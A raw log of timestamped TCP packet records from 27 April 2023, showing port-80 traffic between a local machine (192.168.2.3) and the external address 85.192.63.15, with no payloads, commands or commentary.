Apr 27, 2023 07:41:54.596312046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.596349955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.596455097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.596470118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.596502066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.596518993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.596538067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.596553087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.596591949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.597954035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.598006964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.598041058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.598054886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.598083973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.598087072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.598105907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.598121881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.598139048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.598175049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601228952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601264954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601310015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601336956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601337910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601344109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601375103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601387978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601398945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601424932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.601442099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.601475954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.606302977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606340885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606417894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606452942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606496096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606533051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.606587887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.606587887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.606587887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.606635094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.607911110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.607949018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.607995033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.608042002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.608077049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.608094931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.608094931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.608094931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.608094931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.608141899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.626697063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.626760006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.626796007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.626876116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.626914978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.626951933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.627091885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.628104925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628143072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628190041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628209114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.628226042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628269911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628302097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.628305912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.628369093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.628446102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.838840961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.838903904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.839088917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.839135885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.839143038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.839224100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.839226961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.839277983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.839322090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.840333939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.840403080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.840491056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.840517044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.840564966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.840701103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.840701103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.843734026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.843786955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.843832970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.843869925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.843924046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.843985081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.844086885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.845334053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.845380068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.845412970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.845457077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.845493078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.845558882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.845558882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.845558882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.845558882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.848603010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.848650932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.848685980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.848733902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.848746061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.848746061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.848746061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.848772049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.848789930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.848836899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.850121975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.850194931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.850236893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.850281954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.850296021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.850296021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.850296021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.850317001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.850496054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851720095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.851753950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.851797104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.851840973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.851855040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851855993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851855993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851855993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851876020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.851938009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.851938009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.854990959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.855026960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.855068922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.855113029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.855125904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.855125904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.855125904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.855148077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.855189085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.855206013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.857237101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.857302904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.857342005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.857363939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.857363939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.857388973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.857398987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.857429028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.857449055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.857487917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860174894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860260963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860302925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860340118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860373974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860373974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860385895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860404015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860404968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860421896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860469103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860486031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860512972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860558987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860575914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860594034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.860624075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.860680103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.861838102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.861874104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.861921072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.861951113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.861959934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.861983061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.861983061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.862010956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.862026930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.862063885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.862085104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.862117052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.866920948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.866996050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867046118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867086887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867110968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867135048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867151976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867173910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867217064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867221117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867238045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867269039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867279053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867306948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.867324114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.867362022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.868354082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.868388891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.868434906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.868455887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.868479967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.868485928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.868485928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.868516922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.868537903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.868599892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.869996071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870033026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870076895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870085955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.870114088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870116949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.870135069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.870162010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870201111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.870209932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.870281935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.870301008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873361111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873411894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873445988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873461962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873492002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873522043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873522043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873526096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873544931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873570919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873591900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873636961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873639107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873656988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873684883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873696089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873719931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.873735905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.873770952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.876750946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.876797915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.876846075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.876884937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.876905918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.876905918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.876907110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.876966953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878437042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878474951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878518105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878535032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878554106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878565073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878565073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878603935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878609896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878640890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.878654957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.878736973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.880034924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.880083084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.880117893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.880162954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.880201101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.880232096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.880232096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.880232096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.880232096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.880286932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.881673098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.881722927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.881757975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.881783962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.881822109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.881822109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.881952047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.881997108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.882014036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.882062912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.883430958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.883481979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.883522034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.883527040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.883562088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.883564949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.883579969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.883614063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.885109901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.885159016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.885202885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.885237932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.885210037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.885410070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.885410070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.885410070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.888475895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.888526917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.888566971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.888572931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.888608932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.888628006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.888628006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.888674021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.891733885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891788960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891836882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891839981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.891863108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.891874075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891892910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.891921043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891930103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.891962051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.891977072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.892009020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.897015095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.897083044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.897119045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.897119045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.897142887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.897165060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.897171974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.897202969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.897218943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.897273064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.898279905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.898329020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.898356915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.898374081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.898384094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.898405075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.898428917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.898441076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.898463964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.898485899 CEST	49697	80	192.168.2.3	85.192.63.15
